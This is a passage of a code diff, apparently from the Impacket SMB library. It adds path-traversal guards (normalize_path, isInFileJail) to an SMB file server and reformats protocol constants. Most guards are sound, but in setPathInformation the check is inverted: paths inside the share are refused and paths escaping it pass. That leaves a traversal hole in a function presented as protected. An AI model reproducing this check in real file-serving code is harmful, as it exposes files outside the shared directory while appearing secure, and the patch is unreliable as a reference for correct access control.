+SMB2_DIALECT_30 = 0x0300 SMB2_DIALECT_302 = 0x0302 #SMB 3.0.2 SMB2_DIALECT_311 = 0x0311 #SMB 3.1.1 -SMB2_DIALECT_WILDCARD = 0x02FF +SMB2_DIALECT_WILDCARD = 0x02FF # SMB2_SESSION_SETUP # Flags @@ -163,7 +167,7 @@ FILE_SHARE_DELETE = 0x00000004 # Create Disposition -FILE_SUPERSEDE = 0x00000000 +FILE_SUPERSEDE = 0x00000000 FILE_OPEN = 0x00000001 FILE_CREATE = 0x00000002 FILE_OPEN_IF = 0x00000003 @@ -186,7 +190,7 @@ FILE_OPEN_FOR_BACKUP_INTENT = 0x00004000 FILE_NO_COMPRESSION = 0x00008000 FILE_RESERVE_OPFILTER = 0x00100000 -FILE_OPEN_REPARSE_POINT = 0x00200000 +FILE_OPEN_REPARSE_POINT = 0x00200000 FILE_OPEN_NO_RECALL = 0x00400000 FILE_OPEN_FOR_FREE_SPACE_QUERY = 0x00800000 @@ -219,19 +223,19 @@ FILE_DELETE_CHILD = 0x00000040 # Create Contexts -SMB2_CREATE_EA_BUFFER = 0x45787441 +SMB2_CREATE_EA_BUFFER = 0x45787441 SMB2_CREATE_SD_BUFFER = 0x53656344 -SMB2_CREATE_DURABLE_HANDLE_REQUEST = 0x44486e51 -SMB2_CREATE_DURABLE_HANDLE_RECONNECT = 0x44486e43 -SMB2_CREATE_ALLOCATION_SIZE = 0x416c5369 -SMB2_CREATE_QUERY_MAXIMAL_ACCESS_REQUEST = 0x4d784163 -SMB2_CREATE_TIMEWARP_TOKEN = 0x54577270 -SMB2_CREATE_QUERY_ON_DISK_ID = 0x51466964 -SMB2_CREATE_REQUEST = 0x52714c73 -SMB2_CREATE_REQUEST_LEASE_V2 = 0x52714c73 -SMB2_CREATE_DURABLE_HANDLE_REQUEST_V2 = 0x44483251 -SMB2_CREATE_DURABLE_HANDLE_RECONNECT_V2 = 0x44483243 -SMB2_CREATE_APP_INSTANCE_ID = 0x45BCA66AEFA7F74A9008FA462E144D74 +SMB2_CREATE_DURABLE_HANDLE_REQUEST = 0x44486e51 +SMB2_CREATE_DURABLE_HANDLE_RECONNECT = 0x44486e43 +SMB2_CREATE_ALLOCATION_SIZE = 0x416c5369 +SMB2_CREATE_QUERY_MAXIMAL_ACCESS_REQUEST = 0x4d784163 +SMB2_CREATE_TIMEWARP_TOKEN = 0x54577270 +SMB2_CREATE_QUERY_ON_DISK_ID = 0x51466964 +SMB2_CREATE_REQUEST = 0x52714c73 +SMB2_CREATE_REQUEST_LEASE_V2 = 0x52714c73 +SMB2_CREATE_DURABLE_HANDLE_REQUEST_V2 = 0x44483251 +SMB2_CREATE_DURABLE_HANDLE_RECONNECT_V2 = 0x44483243 +SMB2_CREATE_APP_INSTANCE_ID = 0x45BCA66AEFA7F74A9008FA462E144D74 # Flags SMB2_CREATE_FLAG_REPARSEPOINT = 0x1 @@ -254,7 +258,7 @@ # SMB2_CREATE_DURABLE_HANDLE_REQUEST_V2 Flags SMB2_DHANDLE_FLAG_PERSISTENT = 0x02 - + # SMB2_CLOSE # Flags SMB2_CLOSE_FLAG_POSTQUERY_ATTRIB = 0x0001 @@ -318,7 +322,7 @@ RDMA_CAPABLE = 0x02 # SMB2_QUERY_DIRECTORIES -# Information Class +# Information Class FILE_DIRECTORY_INFORMATION = 0x01 FILE_FULL_DIRECTORY_INFORMATION = 0x02 FILEID_FULL_DIRECTORY_INFORMATION = 0x26 @@ -355,7 +359,7 @@ FILE_ACTION_ADDED = 0x00000001 FILE_ACTION_REMOVED = 0x00000002 FILE_ACTION_MODIFIED = 0x00000003 -FILE_ACTION_RENAMED_OLD_NAME = 0x00000004 +FILE_ACTION_RENAMED_OLD_NAME = 0x00000004 FILE_ACTION_RENAMED_NEW_NAME = 0x00000005 # SMB2_QUERY_INFO @@ -648,7 +652,7 @@ class SMB2NetNameNegotiateContextID(Structure): ('NetName',':=""'), ) -# SMB2_SESSION_SETUP +# SMB2_SESSION_SETUP class SMB2SessionSetup(Structure): SIZE = 24 structure = ( @@ -673,10 +677,10 @@ def __init__(self, data = None): def getData(self): #self['AlignPad'] = '\x00' * ((8 - ((24 + SMB2_PACKET_SIZE) & 7)) & 7) - #self['SecurityBufferOffset'] = 24 + SMB2_PACKET_SIZE +len(self['AlignPad']) + #self['SecurityBufferOffset'] = 24 + SMB2_PACKET_SIZE +len(self['AlignPad']) #self['SecurityBufferLength'] += len(self['AlignPad']) return Structure.getData(self) - + class SMB2SessionSetup_Response(Structure): structure = ( @@ -695,7 +699,7 @@ class SMB2Logoff(Structure): structure = ( ('StructureSize',' 0 and (file_name[0] == '/' or file_name[0] == '\\'): + if path is None or path != '': + # Strip leading "/" + file_name = file_name[1:] + return file_name + + +def isInFileJail(path, file_name): + """Validates if a provided file name path is inside a path. This function is used + to check for path traversals. + + :param path: base path to check + :type path: string + :param file_name: file name to validate + :type file_name: string + + :return whether the file name is inside the base path or not + :rtype bool + """ + path_name = os.path.join(path, file_name) + share_real_path = os.path.realpath(path) + return os.path.commonprefix((os.path.realpath(path_name), share_real_path)) == share_real_path + + +def openFile(path, fileName, accessMode, fileAttributes, openMode): + fileName = normalize_path(fileName) + pathName = os.path.join(path, fileName) errorCode = 0 - if len(fileName) > 0 and (fileName[0] == '/' or fileName[0] == '\\'): - # strip leading '/' - fileName = fileName[1:] - pathName = os.path.join(path,fileName) mode = 0 + + if not isInFileJail(path, fileName): + LOG.error("Path not in current working directory") + errorCode = STATUS_OBJECT_PATH_SYNTAX_BAD + return 0, mode, pathName, errorCode + # Check the Open Mode if openMode & 0x10: # If the file does not exist, create it. @@ -245,64 +299,76 @@ def openFile(path,fileName, accessMode, fileAttributes, openMode): # If file does not exist, return an error if os.path.exists(pathName) is not True: errorCode = STATUS_NO_SUCH_FILE - return 0,mode, pathName, errorCode + return 0, mode, pathName, errorCode if os.path.isdir(pathName) and (fileAttributes & smb.ATTR_DIRECTORY) == 0: # Request to open a normal file and this is actually a directory - errorCode = STATUS_FILE_IS_A_DIRECTORY - return 0, mode, pathName, errorCode + errorCode = STATUS_FILE_IS_A_DIRECTORY + return 0, mode, pathName, errorCode # Check the Access Mode if accessMode & 0x7 == 1: - mode |= os.O_WRONLY + mode |= os.O_WRONLY elif accessMode & 0x7 == 2: - mode |= os.O_RDWR + mode |= os.O_RDWR else: - mode = os.O_RDONLY + mode = os.O_RDONLY try: if sys.platform == 'win32': mode |= os.O_BINARY fid = os.open(pathName, mode) except Exception as e: - LOG.error("openFile: %s,%s" % (pathName, mode) ,e) + LOG.error("openFile: %s,%s" % (pathName, mode), e) fid = 0 errorCode = STATUS_ACCESS_DENIED return fid, mode, pathName, errorCode -def queryFsInformation(path, filename, level=0, pktFlags = smb.SMB.FLAGS2_UNICODE): +def queryFsInformation(path, filename, level=None, pktFlags=smb.SMB.FLAGS2_UNICODE): if pktFlags & smb.SMB.FLAGS2_UNICODE: - encoding = 'utf-16le' + encoding = 'utf-16le' else: - encoding = 'ascii' + encoding = 'ascii' - fileName = os.path.normpath(filename.replace('\\','/')) - if len(fileName) > 0 and (fileName[0] == '/' or fileName[0] == '\\'): - # strip leading '/' - fileName = fileName[1:] - pathName = os.path.join(path,fileName) + fileName = normalize_path(filename) + pathName = os.path.join(path, fileName) fileSize = os.path.getsize(pathName) (mode, ino, dev, nlink, uid, gid, size, atime, mtime, ctime) = os.stat(pathName) - if level == smb.SMB_QUERY_FS_ATTRIBUTE_INFO or level == smb2.SMB2_FILESYSTEM_ATTRIBUTE_INFO: + + if level is None: + lastWriteTime = mtime + attribs = 0 + if os.path.isdir(pathName): + attribs |= smb.SMB_FILE_ATTRIBUTE_DIRECTORY + if os.path.isfile(pathName): + attribs |= smb.SMB_FILE_ATTRIBUTE_NORMAL + fileAttributes = attribs + return fileSize, lastWriteTime, fileAttributes + + elif level == smb.SMB_QUERY_FS_ATTRIBUTE_INFO or level == smb2.SMB2_FILESYSTEM_ATTRIBUTE_INFO: data = smb.SMBQueryFsAttributeInfo() - data['FileSystemAttributes'] = smb.FILE_CASE_SENSITIVE_SEARCH | smb.FILE_CASE_PRESERVED_NAMES + data['FileSystemAttributes'] = smb.FILE_CASE_SENSITIVE_SEARCH | smb.FILE_CASE_PRESERVED_NAMES data['MaxFilenNameLengthInBytes'] = 255 - data['LengthOfFileSystemName'] = len('XTFS')*2 - data['FileSystemName'] = 'XTFS'.encode('utf-16le') + data['LengthOfFileSystemName'] = len('XTFS') * 2 + data['FileSystemName'] = 'XTFS'.encode('utf-16le') return data.getData() elif level == smb.SMB_INFO_VOLUME: - data = smb.SMBQueryFsInfoVolume( flags = pktFlags ) - data['VolumeLabel'] = 'SHARE'.encode(encoding) + data = smb.SMBQueryFsInfoVolume(flags=pktFlags) + data['VolumeLabel'] = 'SHARE'.encode(encoding) return data.getData() elif level == smb.SMB_QUERY_FS_VOLUME_INFO or level == smb2.SMB2_FILESYSTEM_VOLUME_INFO: data = smb.SMBQueryFsVolumeInfo() - data['VolumeLabel'] = '' - data['VolumeCreationTime'] = getFileTime(ctime) - return data.getData() + data['VolumeLabel'] = '' + data['VolumeCreationTime'] = getFileTime(ctime) + return data.getData() elif level == smb.SMB_QUERY_FS_SIZE_INFO: data = smb.SMBQueryFsSizeInfo() return data.getData() + elif level == smb.SMB_QUERY_FS_DEVICE_INFO or level == smb2.SMB2_FILESYSTEM_DEVICE_INFO: + data = smb.SMBQueryFsDeviceInfo() + data['DeviceType'] = smb.FILE_DEVICE_DISK + return data.getData() elif level == smb.FILE_FS_FULL_SIZE_INFORMATION: data = smb.SMBFileFsFullSizeInformation() return data.getData() @@ -310,234 +376,270 @@ def queryFsInformation(path, filename, level=0, pktFlags = smb.SMB.FLAGS2_UNICOD data = smb.FileFsSizeInformation() return data.getData() else: - lastWriteTime = mtime - attribs = 0 - if os.path.isdir(pathName): - attribs |= smb.SMB_FILE_ATTRIBUTE_DIRECTORY - if os.path.isfile(pathName): - attribs |= smb.SMB_FILE_ATTRIBUTE_NORMAL - fileAttributes = attribs - return fileSize, lastWriteTime, fileAttributes + return None + + +def findFirst2(path, fileName, level, searchAttributes, pktFlags=smb.SMB.FLAGS2_UNICODE, isSMB2=False): + # TODO: Depending on the level, this could be done much simpler + + # Let's choose the right encoding depending on the request + if pktFlags & smb.SMB.FLAGS2_UNICODE: + encoding = 'utf-16le' + else: + encoding = 'ascii' + + fileName = normalize_path(fileName) + pathName = os.path.join(path, fileName) -def findFirst2(path, fileName, level, searchAttributes, pktFlags = smb.SMB.FLAGS2_UNICODE, isSMB2 = False): - # TODO: Depending on the level, this could be done much simpler - - #print "FindFirs2 path:%s, filename:%s" % (path, fileName) - fileName = os.path.normpath(fileName.replace('\\','/')) - # Let's choose the right encoding depending on the request - if pktFlags & smb.SMB.FLAGS2_UNICODE: - encoding = 'utf-16le' - else: - encoding = 'ascii' - - if len(fileName) > 0 and (fileName[0] == '/' or fileName[0] == '\\'): - # strip leading '/' - fileName = fileName[1:] - - pathName = os.path.join(path,fileName) - files = [] - - if pathName.find('*') == -1 and pathName.find('?') == -1: - # No search patterns - pattern = '' - else: - pattern = os.path.basename(pathName) - dirName = os.path.dirname(pathName) - - # Always add . and .. Not that important for Windows, but Samba whines if - # not present (for * search only) - if pattern == '*': - files.append(os.path.join(dirName,'.')) - files.append(os.path.join(dirName,'..')) - - if pattern != '': - for file in os.listdir(dirName): - if fnmatch.fnmatch(file.lower(),pattern.lower()): + if not isInFileJail(path, fileName): + LOG.error("Path not in current working directory") + return [], 0, STATUS_OBJECT_PATH_SYNTAX_BAD + + files = [] + + if pathName.find('*') == -1 and pathName.find('?') == -1: + # No search patterns + pattern = '' + else: + pattern = os.path.basename(pathName) + dirName = os.path.dirname(pathName) + + # Always add . and .. Not that important for Windows, but Samba whines if + # not present (for * search only) + if pattern == '*': + files.append(os.path.join(dirName, '.')) + files.append(os.path.join(dirName, '..')) + + if pattern != '': + for file in os.listdir(dirName): + if fnmatch.fnmatch(file.lower(), pattern.lower()): entry = os.path.join(dirName, file) if os.path.isdir(entry): if searchAttributes & smb.ATTR_DIRECTORY: files.append(entry) else: files.append(entry) - else: - if os.path.exists(pathName): - files.append(pathName) + else: + if os.path.exists(pathName): + files.append(pathName) - searchResult = [] - searchCount = len(files) - errorCode = STATUS_SUCCESS + searchResult = [] + searchCount = len(files) + errorCode = STATUS_SUCCESS - for i in files: + for i in files: if level == smb.SMB_FIND_FILE_BOTH_DIRECTORY_INFO or level == smb2.SMB2_FILE_BOTH_DIRECTORY_INFO: - item = smb.SMBFindFileBothDirectoryInfo( flags = pktFlags ) + item = smb.SMBFindFileBothDirectoryInfo(flags=pktFlags) elif level == smb.SMB_FIND_FILE_DIRECTORY_INFO or level == smb2.SMB2_FILE_DIRECTORY_INFO: - item = smb.SMBFindFileDirectoryInfo( flags = pktFlags ) + item = smb.SMBFindFileDirectoryInfo(flags=pktFlags) elif level == smb.SMB_FIND_FILE_FULL_DIRECTORY_INFO or level == smb2.SMB2_FULL_DIRECTORY_INFO: - item = smb.SMBFindFileFullDirectoryInfo( flags = pktFlags ) + item = smb.SMBFindFileFullDirectoryInfo(flags=pktFlags) elif level == smb.SMB_FIND_INFO_STANDARD: - item = smb.SMBFindInfoStandard( flags = pktFlags ) + item = smb.SMBFindInfoStandard(flags=pktFlags) elif level == smb.SMB_FIND_FILE_ID_FULL_DIRECTORY_INFO or level == smb2.SMB2_FILE_ID_FULL_DIRECTORY_INFO: - item = smb.SMBFindFileIdFullDirectoryInfo( flags = pktFlags ) + item = smb.SMBFindFileIdFullDirectoryInfo(flags=pktFlags) elif level == smb.SMB_FIND_FILE_ID_BOTH_DIRECTORY_INFO or level == smb2.SMB2_FILE_ID_BOTH_DIRECTORY_INFO: - item = smb.SMBFindFileIdBothDirectoryInfo( flags = pktFlags ) + item = smb.SMBFindFileIdBothDirectoryInfo(flags=pktFlags) elif level == smb.SMB_FIND_FILE_NAMES_INFO or level == smb2.SMB2_FILE_NAMES_INFO: - item = smb.SMBFindFileNamesInfo( flags = pktFlags ) + item = smb.SMBFindFileNamesInfo(flags=pktFlags) else: LOG.error("Wrong level %d!" % level) - return searchResult, searchCount, STATUS_NOT_SUPPORTED - + return searchResult, searchCount, STATUS_NOT_SUPPORTED + (mode, ino, dev, nlink, uid, gid, size, atime, mtime, ctime) = os.stat(i) if os.path.isdir(i): - item['ExtFileAttributes'] = smb.ATTR_DIRECTORY + item['ExtFileAttributes'] = smb.ATTR_DIRECTORY else: - item['ExtFileAttributes'] = smb.ATTR_NORMAL | smb.ATTR_ARCHIVE + item['ExtFileAttributes'] = smb.ATTR_NORMAL | smb.ATTR_ARCHIVE item['FileName'] = os.path.basename(i).encode(encoding) - if level == smb.SMB_FIND_FILE_BOTH_DIRECTORY_INFO or level == smb.SMB_FIND_FILE_ID_BOTH_DIRECTORY_INFO or level == smb2.SMB2_FILE_ID_BOTH_DIRECTORY_INFO or level == smb2.SMB2_FILE_BOTH_DIRECTORY_INFO: - item['EaSize'] = 0 - item['EndOfFile'] = size - item['AllocationSize'] = size - item['CreationTime'] = getFileTime(ctime) - item['LastAccessTime'] = getFileTime(atime) - item['LastWriteTime'] = getFileTime(mtime) - item['LastChangeTime'] = getFileTime(mtime) - item['ShortName'] = '\x00'*24 - item['FileName'] = os.path.basename(i).encode(encoding) - padLen = (8-(len(item) % 8)) % 8 - item['NextEntryOffset'] = len(item) + padLen - elif level == smb.SMB_FIND_FILE_DIRECTORY_INFO: - item['EndOfFile'] = size - item['AllocationSize'] = size - item['CreationTime'] = getFileTime(ctime) - item['LastAccessTime'] = getFileTime(atime) - item['LastWriteTime'] = getFileTime(mtime) - item['LastChangeTime'] = getFileTime(mtime) - item['FileName'] = os.path.basename(i).encode(encoding) - padLen = (8-(len(item) % 8)) % 8 - item['NextEntryOffset'] = len(item) + padLen - elif level == smb.SMB_FIND_FILE_FULL_DIRECTORY_INFO or level == smb.SMB_FIND_FILE_ID_FULL_DIRECTORY_INFO or level == smb2.SMB2_FULL_DIRECTORY_INFO: - item['EaSize'] = 0 - item['EndOfFile'] = size - item['AllocationSize'] = size - item['CreationTime'] = getFileTime(ctime) - item['LastAccessTime'] = getFileTime(atime) - item['LastWriteTime'] = getFileTime(mtime) - item['LastChangeTime'] = getFileTime(mtime) - padLen = (8-(len(item) % 8)) % 8 - item['NextEntryOffset'] = len(item) + padLen + if level in [smb.SMB_FIND_FILE_BOTH_DIRECTORY_INFO, smb.SMB_FIND_FILE_ID_BOTH_DIRECTORY_INFO, + smb2.SMB2_FILE_ID_BOTH_DIRECTORY_INFO]: + item['EaSize'] = 0 + item['EndOfFile'] = size + item['AllocationSize'] = size + item['CreationTime'] = getFileTime(ctime) + item['LastAccessTime'] = getFileTime(atime) + item['LastWriteTime'] = getFileTime(mtime) + item['LastChangeTime'] = getFileTime(mtime) + item['ShortName'] = '\x00' * 24 + item['FileName'] = os.path.basename(i).encode(encoding) + padLen = (8 - (len(item) % 8)) % 8 + item['NextEntryOffset'] = len(item) + padLen + elif level in [smb.SMB_FIND_FILE_DIRECTORY_INFO, smb2.SMB2_FILE_DIRECTORY_INFO]: + item['EndOfFile'] = size + item['AllocationSize'] = size + item['CreationTime'] = getFileTime(ctime) + item['LastAccessTime'] = getFileTime(atime) + item['LastWriteTime'] = getFileTime(mtime) + item['LastChangeTime'] = getFileTime(mtime) + item['FileName'] = os.path.basename(i).encode(encoding) + padLen = (8 - (len(item) % 8)) % 8 + item['NextEntryOffset'] = len(item) + padLen + elif level in [smb.SMB_FIND_FILE_FULL_DIRECTORY_INFO, smb.SMB_FIND_FILE_ID_FULL_DIRECTORY_INFO, + smb2.SMB2_FULL_DIRECTORY_INFO, smb2.SMB2_FILE_ID_FULL_DIRECTORY_INFO]: + item['EaSize'] = 0 + item['EndOfFile'] = size + item['AllocationSize'] = size + item['CreationTime'] = getFileTime(ctime) + item['LastAccessTime'] = getFileTime(atime) + item['LastWriteTime'] = getFileTime(mtime) + item['LastChangeTime'] = getFileTime(mtime) + padLen = (8 - (len(item) % 8)) % 8 + item['NextEntryOffset'] = len(item) + padLen elif level == smb.SMB_FIND_INFO_STANDARD: - item['EaSize'] = size - item['CreationDate'] = getSMBDate(ctime) - item['CreationTime'] = getSMBTime(ctime) - item['LastAccessDate'] = getSMBDate(atime) - item['LastAccessTime'] = getSMBTime(atime) - item['LastWriteDate'] = getSMBDate(mtime) - item['LastWriteTime'] = getSMBTime(mtime) + item['EaSize'] = size + item['CreationDate'] = getSMBDate(ctime) + item['CreationTime'] = getSMBTime(ctime) + item['LastAccessDate'] = getSMBDate(atime) + item['LastAccessTime'] = getSMBTime(atime) + item['LastWriteDate'] = getSMBDate(mtime) + item['LastWriteTime'] = getSMBTime(mtime) searchResult.append(item) - # No more files - if (level >= smb.SMB_FIND_FILE_DIRECTORY_INFO or isSMB2 is True) and searchCount > 0: - searchResult[-1]['NextEntryOffset'] = 0 + # No more files + if (level >= smb.SMB_FIND_FILE_DIRECTORY_INFO or isSMB2 is True) and searchCount > 0: + searchResult[-1]['NextEntryOffset'] = 0 + + return searchResult, searchCount, errorCode - return searchResult, searchCount, errorCode def queryFileInformation(path, filename, level): - #print "queryFileInfo path: %s, filename: %s, level:0x%x" % (path,filename,level) - return queryPathInformation(path,filename, level) + # print "queryFileInfo path: %s, filename: %s, level:0x%x" % (path,filename,level) + return queryPathInformation(path, filename, level) + def queryPathInformation(path, filename, level): # TODO: Depending on the level, this could be done much simpler - #print("queryPathInfo path: %s, filename: %s, level:0x%x" % (path,filename,level)) - try: - errorCode = 0 - fileName = os.path.normpath(filename.replace('\\','/')) - if len(fileName) > 0 and (fileName[0] == '/' or fileName[0] == '\\') and path != '': - # strip leading '/' - fileName = fileName[1:] - pathName = os.path.join(path,fileName) - if os.path.exists(pathName): - (mode, ino, dev, nlink, uid, gid, size, atime, mtime, ctime) = os.stat(pathName) - if level == smb.SMB_QUERY_FILE_BASIC_INFO: - infoRecord = smb.SMBQueryFileBasicInfo() - infoRecord['CreationTime'] = getFileTime(ctime) - infoRecord['LastAccessTime'] = getFileTime(atime) - infoRecord['LastWriteTime'] = getFileTime(mtime) - infoRecord['LastChangeTime'] = getFileTime(mtime) - if os.path.isdir(pathName): - infoRecord['ExtFileAttributes'] = smb.ATTR_DIRECTORY - else: - infoRecord['ExtFileAttributes'] = smb.ATTR_NORMAL | smb.ATTR_ARCHIVE - elif level == smb.SMB_QUERY_FILE_STANDARD_INFO: - infoRecord = smb.SMBQueryFileStandardInfo() - infoRecord['AllocationSize'] = size - infoRecord['EndOfFile'] = size - if os.path.isdir(pathName): - infoRecord['Directory'] = 1 - else: - infoRecord['Directory'] = 0 - elif level == smb.SMB_QUERY_FILE_ALL_INFO or level == smb2.SMB2_FILE_ALL_INFO: - infoRecord = smb.SMBQueryFileAllInfo() - infoRecord['CreationTime'] = getFileTime(ctime) - infoRecord['LastAccessTime'] = getFileTime(atime) - infoRecord['LastWriteTime'] = getFileTime(mtime) - infoRecord['LastChangeTime'] = getFileTime(mtime) - if os.path.isdir(pathName): - infoRecord['ExtFileAttributes'] = smb.ATTR_DIRECTORY - else: - infoRecord['ExtFileAttributes'] = smb.ATTR_NORMAL | smb.ATTR_ARCHIVE - infoRecord['AllocationSize'] = size - infoRecord['EndOfFile'] = size - if os.path.isdir(pathName): - infoRecord['Directory'] = 1 - else: - infoRecord['Directory'] = 0 - infoRecord['FileName'] = filename.encode('utf-16le') - elif level == smb2.SMB2_FILE_NETWORK_OPEN_INFO: - infoRecord = smb.SMBFileNetworkOpenInfo() - infoRecord['CreationTime'] = getFileTime(ctime) - infoRecord['LastAccessTime'] = getFileTime(atime) - infoRecord['LastWriteTime'] = getFileTime(mtime) - infoRecord['ChangeTime'] = getFileTime(mtime) - infoRecord['AllocationSize'] = size - infoRecord['EndOfFile'] = size - if os.path.isdir(pathName): - infoRecord['FileAttributes'] = smb.ATTR_DIRECTORY + try: + errorCode = 0 + fileName = normalize_path(filename, path) + pathName = os.path.join(path, fileName) + + if not isInFileJail(path, fileName): + LOG.error("Path not in current working directory") + return None, STATUS_OBJECT_PATH_SYNTAX_BAD + + if os.path.exists(pathName): + (mode, ino, dev, nlink, uid, gid, size, atime, mtime, ctime) = os.stat(pathName) + if level == smb.SMB_QUERY_FILE_BASIC_INFO: + infoRecord = smb.SMBQueryFileBasicInfo() + infoRecord['CreationTime'] = getFileTime(ctime) + infoRecord['LastAccessTime'] = getFileTime(atime) + infoRecord['LastWriteTime'] = getFileTime(mtime) + infoRecord['LastChangeTime'] = getFileTime(mtime) + if os.path.isdir(pathName): + infoRecord['ExtFileAttributes'] = smb.ATTR_DIRECTORY + else: + infoRecord['ExtFileAttributes'] = smb.ATTR_NORMAL | smb.ATTR_ARCHIVE + elif level == smb.SMB_QUERY_FILE_STANDARD_INFO or level == smb2.SMB2_FILE_STANDARD_INFO: + infoRecord = smb.SMBQueryFileStandardInfo() + infoRecord['AllocationSize'] = size + infoRecord['EndOfFile'] = size + if os.path.isdir(pathName): + infoRecord['Directory'] = 1 + else: + infoRecord['Directory'] = 0 + elif level == smb.SMB_QUERY_FILE_ALL_INFO: + infoRecord = smb.SMBQueryFileAllInfo() + infoRecord['CreationTime'] = getFileTime(ctime) + infoRecord['LastAccessTime'] = getFileTime(atime) + infoRecord['LastWriteTime'] = getFileTime(mtime) + infoRecord['LastChangeTime'] = getFileTime(mtime) + if os.path.isdir(pathName): + infoRecord['ExtFileAttributes'] = smb.ATTR_DIRECTORY + else: + infoRecord['ExtFileAttributes'] = smb.ATTR_NORMAL | smb.ATTR_ARCHIVE + infoRecord['AllocationSize'] = size + infoRecord['EndOfFile'] = size + if os.path.isdir(pathName): + infoRecord['Directory'] = 1 + else: + infoRecord['Directory'] = 0 + infoRecord['FileName'] = filename.encode('utf-16le') + elif level == smb2.SMB2_FILE_ALL_INFO: + infoRecord = smb2.FILE_ALL_INFORMATION() + infoRecord['BasicInformation'] = smb2.FILE_BASIC_INFORMATION() + infoRecord['StandardInformation'] = smb2.FILE_STANDARD_INFORMATION() + infoRecord['InternalInformation'] = smb2.FILE_INTERNAL_INFORMATION() + infoRecord['EaInformation'] = smb2.FILE_EA_INFORMATION() + infoRecord['AccessInformation'] = smb2.FILE_ACCESS_INFORMATION() + infoRecord['PositionInformation'] = smb2.FILE_POSITION_INFORMATION() + infoRecord['ModeInformation'] = smb2.FILE_MODE_INFORMATION() + infoRecord['AlignmentInformation'] = smb2.FILE_ALIGNMENT_INFORMATION() + infoRecord['NameInformation'] = smb2.FILE_NAME_INFORMATION() + infoRecord['BasicInformation']['CreationTime'] = getFileTime(ctime) + infoRecord['BasicInformation']['LastAccessTime'] = getFileTime(atime) + infoRecord['BasicInformation']['LastWriteTime'] = getFileTime(mtime) + infoRecord['BasicInformation']['ChangeTime'] = getFileTime(mtime) + if os.path.isdir(pathName): + infoRecord['BasicInformation']['FileAttributes'] = smb.SMB_FILE_ATTRIBUTE_DIRECTORY + infoRecord['StandardInformation']['Directory'] = 1 + infoRecord['EaInformation']['EaSize'] = smb.ATTR_DIRECTORY + else: + infoRecord['BasicInformation']['FileAttributes'] = smb.SMB_FILE_ATTRIBUTE_NORMAL | smb.SMB_FILE_ATTRIBUTE_ARCHIVE + infoRecord['StandardInformation']['Directory'] = 0 + infoRecord['EaInformation']['EaSize'] = smb.ATTR_NORMAL | smb.ATTR_ARCHIVE + infoRecord['StandardInformation']['AllocationSize'] = size + infoRecord['StandardInformation']['EndOfFile'] = size + infoRecord['StandardInformation']['NumberOfLinks'] = nlink + infoRecord['StandardInformation']['DeletePending'] = 0 + infoRecord['InternalInformation']['IndexNumber'] = ino + infoRecord['AccessInformation']['AccessFlags'] = 0 # + infoRecord['PositionInformation']['CurrentByteOffset'] = 0 # + infoRecord['ModeInformation']['mode'] = mode + infoRecord['AlignmentInformation']['AlignmentRequirement'] = 0 # + infoRecord['NameInformation']['FileName'] = fileName + infoRecord['NameInformation']['FileNameLength'] = len(fileName) + elif level == smb2.SMB2_FILE_NETWORK_OPEN_INFO: + infoRecord = smb.SMBFileNetworkOpenInfo() + infoRecord['CreationTime'] = getFileTime(ctime) + infoRecord['LastAccessTime'] = getFileTime(atime) + infoRecord['LastWriteTime'] = getFileTime(mtime) + infoRecord['ChangeTime'] = getFileTime(mtime) + infoRecord['AllocationSize'] = size + infoRecord['EndOfFile'] = size + if os.path.isdir(pathName): + infoRecord['FileAttributes'] = smb.ATTR_DIRECTORY + else: + infoRecord['FileAttributes'] = smb.ATTR_NORMAL | smb.ATTR_ARCHIVE + elif level == smb.SMB_QUERY_FILE_EA_INFO or level == smb2.SMB2_FILE_EA_INFO: + infoRecord = smb.SMBQueryFileEaInfo() + elif level == smb2.SMB2_FILE_STREAM_INFO: + infoRecord = smb.SMBFileStreamInformation() else: - infoRecord['FileAttributes'] = smb.ATTR_NORMAL | smb.ATTR_ARCHIVE - elif level == smb.SMB_QUERY_FILE_EA_INFO or level == smb2.SMB2_FILE_EA_INFO: - infoRecord = smb.SMBQueryFileEaInfo() - elif level == smb2.SMB2_FILE_STREAM_INFO: - infoRecord = smb.SMBFileStreamInformation() + LOG.error('Unknown level for query path info! 0x%x' % level) + # UNSUPPORTED + return None, STATUS_NOT_SUPPORTED + + return infoRecord, errorCode else: - LOG.error('Unknown level for query path info! 0x%x' % level) - # UNSUPPORTED - return None, STATUS_NOT_SUPPORTED + # NOT FOUND + return None, STATUS_OBJECT_NAME_NOT_FOUND + except Exception as e: + LOG.error('queryPathInfo: %s' % e) + raise - return infoRecord, errorCode - else: - # NOT FOUND - return None, STATUS_OBJECT_NAME_NOT_FOUND - except Exception as e: - LOG.error('queryPathInfo: %s' % e) - raise def queryDiskInformation(path): -# TODO: Do something useful here :) -# For now we just return fake values - totalUnits = 65535 - freeUnits = 65535 - return totalUnits, freeUnits + # TODO: Do something useful here :) + # For now we just return fake values + totalUnits = 65535 + freeUnits = 65535 + return totalUnits, freeUnits + # Here we implement the NT transaction handlers class NTTRANSCommands: - def default(self, connId, smbServer, recvPacket, parameters, data, maxDataCount = 0): + def default(self, connId, smbServer, recvPacket, parameters, data, maxDataCount=0): pass + # Here we implement the NT transaction handlers class TRANSCommands: @staticmethod - def lanMan(connId, smbServer, recvPacket, parameters, data, maxDataCount = 0): + def lanMan(connId, smbServer, recvPacket, parameters, data, maxDataCount=0): # Minimal [MS-RAP] implementation, just to return the shares connData = smbServer.getConnectionData(connId) @@ -545,20 +647,20 @@ def lanMan(connId, smbServer, recvPacket, parameters, data, maxDataCount = 0): respParameters = b'' respData = b'' errorCode = STATUS_SUCCESS - if struct.unpack(' 0 and (fileName[0] == '/' or fileName[0] == '\\') and path != '': - # strip leading '/' - fileName = fileName[1:] - pathName = os.path.join(path,fileName) - if os.path.exists(pathName): + path = connData['ConnectedShares'][recvPacket['Tid']]['path'] + fileName = normalize_path(decodeSMBString(recvPacket['Flags2'], setPathInfoParameters['FileName']), path) + pathName = os.path.join(path, fileName) + + if isInFileJail(path, fileName): + smbServer.log("Path not in current working directory") + errorCode = STATUS_OBJECT_PATH_SYNTAX_BAD + + elif os.path.exists(pathName): informationLevel = setPathInfoParameters['InformationLevel'] if informationLevel == smb.SMB_SET_FILE_BASIC_INFO: infoRecord = smb.SMBSetFileBasicInfo(data) @@ -666,11 +770,12 @@ def setPathInformation(connId, smbServer, recvPacket, parameters, data, maxDataC else: mtime = getUnixTime(mtime) if mtime != -1 or atime != -1: - os.utime(pathName,(atime,mtime)) + os.utime(pathName, (atime, mtime)) else: - smbServer.log('Unknown level for set path info! 0x%x' % setPathInfoParameters['InformationLevel'], logging.ERROR) + smbServer.log('Unknown level for set path info! 0x%x' % setPathInfoParameters['InformationLevel'], + logging.ERROR) # 